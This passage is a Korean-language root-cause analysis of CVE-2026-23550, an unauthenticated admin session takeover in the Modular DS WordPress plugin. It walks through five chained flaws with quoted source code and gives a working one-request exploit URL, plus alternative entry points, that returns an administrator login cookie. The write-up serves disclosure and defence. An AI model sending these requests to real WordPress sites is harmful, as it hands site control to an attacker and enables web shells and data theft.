
CVE-2026-23550에 대한 근본 원인 분석, PoC 및 탐지 지침으로, WordPress 플러그인 Modular DS의 심각한 인증되지 않은 관리자 세션 탈취입니다.
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ███████╗ ███████╗ ██████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██╔════╝ ╚════██╗╚════██╗██╔════╝ ██╔════╝██╔═████╗
██║ ██║ ██║█████╗ █████╔╝██║██╔██║ █████╔╝███████╗ █████╔╝ █████╔╝███████╗ ███████╗██║██╔██║
██║ ╚██╗ ██╔╝██╔══╝ ██╔═══╝ ████╔╝██║██╔═══╝ ██╔═══██╗ ╚═══██╗ ╚═══██╗╚════██║ ╚════██║████╔╝██║
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗╚██████╔╝ ██████╔╝██████╔╝███████║ ███████║╚██████╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝ ╚══════╝ ╚═════╝
근본 원인 분석 · 소스 코드 분석 · 패치 차이 · 교육용 PoC
작성자: Beelze ( zeroday 1diot9 )
Modular DS (
modular-connector)는 40,000개 이상의 활성 설치를 보유한 WordPress 사이트 관리 플러그인입니다. ≤ 2.5.1 버전은 다섯 가지 결함이 연쇄적으로 작용하여 인증되지 않은 모든 공격자가 인증을 우회하고, 플러그인의 내부 로그인 엔드포인트를 호출하여 첫 번째 관리자 계정에 대한wordpress_logged_in_*세션 쿠키를 단일 HTTP GET 요청으로 획득할 수 있습니다.
GET /api/modular-connector/login/x?origin=mo&type=x HTTP/1.1
Host: victim.tld
→ HTTP/1.1 302 Found
Location: /wp-admin/index.php
Set-Cookie: wordpress_logged_in_<hash>=...
결과: 전체 관리자 권한 탈취. 공격자는 악성 플러그인 설치, 웹쉘 배포, 백업 관리자 계정 생성, 데이터베이스 유출 등을 수행할 수 있습니다.
| 필드 | 값 |
|---|---|
| 플러그인 이름 | Modular DS |
| 슬러그 | modular-connector |
| 취약 버전 | <= 2.5.1 |
| 패치 버전 | 2.5.2 |
| 활성 설치 수 | ~40,000 |
| CVSS v3.1 | 10.0 / CRITICAL (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) |
| CWE | CWE-287 · CWE-306 · CWE-863 |
| OWASP | A07 — 식별 및 인증 실패 |
이 취약점은 플러그인에 내장된 커스텀 Laravel 기반 라우터를 트리거합니다. 플러그인은 WordPress의 parse_request 액션에 훅을 거는 자체 HTTP 커널(Ares/Framework)을 탑재하여 WordPress 자체 라우팅보다 먼저 요청을 가로챕니다.
전제 조건: 없음 (플러그인이 설치 및 활성화되어 있고 Modular SaaS에 연결된 상태 — 모든 실제 설치의 기본값).
진입점 (하나만 있으면 충분):
/api/modular-connector/login/<any>?origin=mo&type=<any>
/?rest_route=/api/modular-connector/login/<any>&origin=mo&type=<any>
/index.php?rest_route=/api/modular-connector/login/<any>&origin=mo&type=<any>
/wp-load.php?origin=mo&type=<any>
이 취약점은 단일 결함이 아닌 다섯 가지 결함이 연쇄적으로 쌓인 것입니다. 각 계층을 개별적으로 보면 방어 가능해 보일 수 있지만, 결합되면 인증 전 관리자 권한 탈취로 이어집니다.
flowchart TB
A["🌐 Attacker Request<br/>?origin=mo&type=x"] --> B["① HttpUtils::isDirectRequest()<br/>Gate opens on query params alone"]
B --> C["② Router::findRoute()<br/>URL implicitly resolved to /login route"]
C --> D["③ bindOldRoutes() filter<br/>Falls through on unknown type"]
D --> E["④ ModularGuard::check()<br/>Validates server OAuth, NOT request"]
E --> F["⑤ AuthController::getLogin()<br/>Falls back to first admin user"]
F --> G["🔑 Set-Cookie: wordpress_logged_in_*<br/>Attacker = Admin"]
style A fill:#ff4444,stroke:#000,color:#fff
style G fill:#00cc44,stroke:#000,color:#fff
style B fill:#ff8888,stroke:#000
style C fill:#ffaa66,stroke:#000
style D fill:#ffcc44,stroke:#000
style E fill:#ff8888,stroke:#000
style F fill:#ff4444,stroke:#000,color:#fff
| # | 계층 | 파일 | 근본 원인 |
|---|---|---|---|
| ① | 부트스트랩 게이트 | HttpUtils.php:64 | 암호화/논스 없는 쿼리 전용 origin=mo 검사 |
| ② | URL→경로 매처 | Router.php:20 | 묵시적 URL 해석이 곧바로 필터로 전달됨 |
| ③ | 경로 재정의 필터 | RouteServiceProvider.php:46 | 알 수 없는 type이 원래 경로를 그대로 유지하며 통과 |
| ④ | 인증 가드 | ModularGuard.php:16 | 요청 신원이 아닌 서버 측 OAuth 상태 검증 |
| ⑤ | 로그인 컨트롤러 | AuthController.php:66 | 입력 누락 시 getAdminUser()로 자동 대체 |
HttpUtils::isDirectRequest()파일: vendor/ares/framework/src/Foundation/Http/HttpUtils.php:64
public static function isDirectRequest(): bool
{
$request = app('request');
$userAgent = $request->header('User-Agent');
$userAgentMatches = $userAgent && Str::is('ModularConnector/* (Linux)', $userAgent);
$originQuery = $request->has('origin') && $request->get('origin') === 'mo';
$isFromQuery = ($originQuery || $userAgentMatches) && $request->has('type');
if ($isFromQuery) {
return true; // ⚠️ 쿼리 매개변수만으로 확인, 서명 없음
}
return false;
}
문제점: "직접 요청" 모드는 Modular SaaS 백엔드의 합법적인 호출을 식별하기 위한 것으로, HMAC, JWT, 서명된 논스, IP 허용 목록 없이 일반 텍스트 쿼리 매개변수에 의해 제어됩니다. 모든 공격자가 이 스위치를 켤 수 있습니다.
Router::findRoute()파일: vendor/ares/framework/src/Foundation/Routing/Router.php:20
protected function findRoute($request)
{
$this->current = $route = apply_filters(
'ares/routes/match',
$this->routes->match($request), // ⚠️ 필터 실행 전에 URL이 경로로 해석됨
true
);
$route->setContainer($this->container);
$this->container->instance(Route::class, $route);
return $route;
}
문제점: Laravel의 routes->match($request)는 보안 필터가 실행되기 전에 /api/modular-connector/login/xxx를 login 경로(인증 보호됨)로 해석합니다. 필터는 이 경로를 입력으로 받아 경로가 부적합함을 증명해야 하는 부담을 가지며, 명시적으로 승인하는 것이 아닙니다.
bindOldRoutes()파일: src/app/Providers/RouteServiceProvider.php:46
public function bindOldRoutes($route, $removeQuery = false)
{
if (!HttpUtils::isDirectRequest()) return $route;
$request = request();
$type = $request->header('x-mo-type', $request->get('type'));
if ($type === 'request') { /* 서명된 OAuth 호출로 재바인딩 */ }
if ($type === 'oauth') { /* /oauth 핸들러로 재바인딩 */ }
if ($type === 'lb') { /* /schedule/run으로 재바인딩 */ }
return $route; // ⚠️ 알 수 없는 type → URL에서 가져온 경로가 그대로 남음
}
문제점: 필터는 type이 세 가지 알려진 값 중 하나일 때만 경로를 재정의합니다. type이 임의의 값(x, foo, 비어 있음)일 때는 통과되어 URL에서 해석된 경로를 변경하지 않고 반환합니다. URL 기반 경로 login은 문서상으로는 인증 보호되었지만 미들웨어 평가 단계로 진행됩니다.
ModularGuard::check()파일: vendor/ares/framework/src/Foundation/Auth/ModularGuard.php:16
public function check()
{
return !is_null($this->user());
}
public function user()
{
$client = OauthClient::getClient();
try {
$client->validateOrRenewAccessToken(); // ⚠️ 서버 상태 확인
$this->user = ['id' => $client->getClientId()];
} catch (\Throwable $e) {
return null;
}
return $this->user;
}
문제점: 커스텀 modular 가드는 들어오는 요청 신원을 전혀 검증하지 않습니다. 플러그인 자체가 Modular SaaS와 유효한 OAuth 세션을 유지하는지만 확인합니다. 거의 모든 설치가 연결되어 있으므로(그렇지 않으면 플러그인이 무용지물), 가드는 해당 가드에 도달하는 모든 요청에 대해 true를 반환합니다.
이것이 핵심 결함입니다. ①~③이 수정되더라도 이 손상된 가드만으로도 auth 미들웨어 그룹의 모든 경로에 대한 무단 접근이 여전히 허용됩니다.
AuthController::getLogin()파일: src/app/Http/Controllers/AuthController.php:66